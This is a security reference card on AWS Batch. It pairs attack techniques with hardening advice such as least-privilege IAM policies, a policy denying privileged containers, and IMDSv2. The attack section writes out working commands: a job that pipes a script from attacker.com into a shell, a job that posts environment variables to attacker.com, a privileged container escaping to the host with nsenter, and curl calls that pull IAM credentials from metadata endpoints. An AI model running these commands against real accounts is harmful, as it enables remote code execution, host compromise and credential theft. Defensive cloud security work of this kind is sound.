AWS Batch enables batch computing workloads on AWS. It dynamically provisions compute resources and runs containerized jobs. Attackers target job definitions, compute environments, and container escape vectors.
Managed or unmanaged compute environments using EC2 or Fargate. Managed environments auto-scale instances based on job queue demand. Unmanaged environments use your own EC2 instances.
Attack note: Compute environment IAM roles often have excessive permissions for instance management
Job definitions specify container images, commands, IAM roles, and resource requirements. Job queues route jobs to compute environments with scheduling priority.
Attack note: Job definitions can be modified to inject malicious containers or steal credentials
AWS Batch presents significant risk due to container execution with IAM roles, potential for container escape, and job definition manipulation. Compromised jobs can access instance metadata and steal credentials.
aws batch describe-compute-environmentsaws batch describe-job-queuesaws batch describe-job-definitions --status ACTIVEaws batch list-jobs \
--job-queue my-queue \
--job-status RUNNINGaws batch describe-jobs --jobs job-id-123Critical: Privileged containers or host mounts enable full host compromise and credential theft.
aws batch register-job-definition \
--job-definition-name backdoor-job \
--type container \
--container-properties '{
"image": "attacker/malicious:latest",
"vcpus": 1,
"memory": 512,
"command": ["sh", "-c", "curl http://attacker.com/shell.sh | sh"],
"jobRoleArn": "arn:aws:iam::123456789012:role/BatchJobRole"
}'aws batch submit-job \
--job-name exfil-job \
--job-queue production-queue \
--job-definition legit-job-def \
--container-overrides '{
"command": ["sh", "-c", "env | curl -X POST -d @- http://attacker.com/collect"]
}'aws batch register-job-definition \
--job-definition-name priv-escape \
--type container \
--container-properties '{
"image": "alpine",
"vcpus": 1,
"memory": 512,
"privileged": true,
"command": ["sh", "-c", "nsenter -t 1 -m -u -i -n sh"]
}'# Inside running Batch container
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME# Inside Fargate Batch container
curl $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# Returns temporary credentials for task roleaws batch describe-job-definitions \
--status ACTIVE \
--query 'jobDefinitions[*].[jobDefinitionName,containerProperties.image,containerProperties.jobRoleArn]' \
--output table{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"s3:*",
"secretsmanager:GetSecretValue",
"iam:PassRole"
],
"Resource": "*"
}]
}Job role with wildcard permissions allows data theft and privilege escalation
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "arn:aws:s3:::batch-data-bucket/jobs/*"
}]
}Job role restricted to specific bucket path needed for processing
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"batch:SubmitJob",
"batch:RegisterJobDefinition"
],
"Resource": "*"
}]
}Allows submitting jobs to any queue with any definition - potential code execution
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["batch:SubmitJob"],
"Resource": [
"arn:aws:batch:us-east-1:123456789012:job-queue/approved-queue",
"arn:aws:batch:us-east-1:123456789012:job-definition/approved-job:*"
]
}]
}Can only submit jobs to specific queue using approved job definition
Never allow privileged mode in job definitions. Use SCP to deny.
# SCP to deny privileged containers
{
"Effect": "Deny",
"Action": "batch:RegisterJobDefinition",
"Resource": "*",
"Condition": {
"Bool": {"batch:Privileged": "true"}
}
}Configure compute environments to require IMDSv2, preventing simple credential theft.
aws batch update-compute-environment \
--compute-environment prod-env \
--compute-resources 'ec2Configuration=[{imageIdOverride=ami-xxx}]'Fargate provides better isolation than EC2 compute environments.
Limit who can register job definitions using IAM policies.
Never put secrets in environment variables. Use AWS Secrets Manager with job role access.
# In job container
aws secretsmanager get-secret-value \
--secret-id prod/db-credsAlert on jobs with unusual images, commands, or from unexpected principals.
AWS Batch Security Card • Toc Consulting
Always obtain proper authorization before testing